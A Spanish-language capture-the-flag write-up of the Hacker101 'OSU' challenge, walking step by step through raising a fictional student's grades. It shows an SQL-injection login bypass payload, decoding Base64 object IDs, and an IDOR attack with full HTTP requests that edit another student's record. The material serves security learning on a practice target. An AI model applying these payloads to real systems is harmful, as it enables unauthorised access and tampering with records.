Hacker101: CTF OSU [Moderate Writeup]
![Hacker101: CTF OSU [Moderate Writeup]](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fstock%2Funsplash%2FJrEHwkPIurA%2Fupload%2Fa9cffd556acdefc80c689d053d2fc1b7.jpeg&w=3840&q=75)
Just one more curious.
Resumen
Objetivo del reto: elevar las calificaciones de Natasha Drew en el portal de estudiantes OSUSEC para obtener la flag.
Contexto del objetivo

El challenge indica explícitamente que Natasha no tiene las notas necesarias y hay que ponerle todo en A.
Durante pruebas iniciales (XSS, payloads manuales y SQLMap) el servidor respondía con 401, por lo que la ruta efectiva fue observar flujo de sesión y navegación interna.
Paso 1: Bypass de autenticación

En Burp Suite (Intercept → Repeater), se probó login con payload clásico:
username=' OR 1=1 --&password=' OR 1=1 -- Tras este bypass, se obtuvo un Location que apuntaba a / y una cookie de sesión token.
Evidencia (momento de bypass y sesión de rhonda.daniels):
(Bypass de autenticación y acceso inicial)

Paso 2: Acceso al dashboard con cookie válida
Paso 2: Acceso al dashboard con cookie válida Sin cookie, / respondía redirección a login:
Request:
GET / HTTP/2
Host: <ctf-host>
Response:
HTTP/2 302 Found
Location: login
Con cookie token, el mismo endpoint devolvía 200 OK y el panel de estudiantes:
Request:
GET / HTTP/2
Host: <ctf-host>
Cookie: token=<valor>
Al hacer follow redirection, nos encontramos con una sorpresita.

Nos dirigió a /./ en lugar de /
Simplemente modificamos la request a GET /, lo demás lo mantenemos tal cual.

Al final del HTML del dashboard se observa que la sesión no es de administrador:
<script>
var staff = {
admin: false,
name: 'rhonda.daniels'
}
</script>
Paso 3: Identificación del esquema de IDs
En la tabla se observan elementos como:
<td data-id="TmFuY2llX0JyZXR0" class="student-link">Brett, Nancie</td>
Primero, verificamos qué tipo de hash es data-id con hashes-identifier, el cual nos indica un base64.
TmFuY2llX0JyZXR0 decodifica a Nancie_Brett, así que el data-id es Base64 del patrón Nombre_Apellido.
Se construyó el ID objetivo:
Natasha_Drew → TmF0YXNoYV9EcmV3
Paso 4: Descubrir endpoint de actualización
No había <a href> en la celda (student-link), por lo que la navegación dependía de JavaScript.
En el script cliente (app.min.js) apareció la lógica:
window.location = '/update-' + objectName + '/' + this.dataset.id;
Con objectName = 'student', la ruta efectiva es: /update-student/<id_base64>
Esto lo encontré en source desde devtools:

Paso 5: Explotación IDOR
Se hizo POST al recurso de Natasha usando el ID Base64 generado:
POST /update-student/TmF0YXNoYV9EcmV3 HTTP/2
Host: <ctf-host>
Cookie: token=<valor>
La respuesta devolvió formulario editable de Natasha (aunque la sesión era de otro usuario), confirmando IDOR por falta de autorización por objeto.

En el HTML apareció además un campo necesario para actualizar:
<input type="hidden" name="student_hash" value="0cb3ed2d---------SECRET-------">
Paso 6: Subir calificaciones a A y obtener flag
Con ese student_hash, se envió el POST completo:
POST /update-student/TmF0YXNoYV9EcmV3 HTTP/2
Host: <ctf-host>
Cookie: token=<valor>
Content-Type: application/x-www-form-urlencoded
https://<host>.ctf.hacker101.com/update-student/TmF0YXNoYV9EcmV3
student_hash=[USER_HASH]&grade_english=A&grade_science=A&grade_maths=A

Awesome! Natasha has got top marks and can now attend Hacker Camp!!!!
FLAG^1c497de5———————SECRET———SECRET————SECRET———————$FLAG$



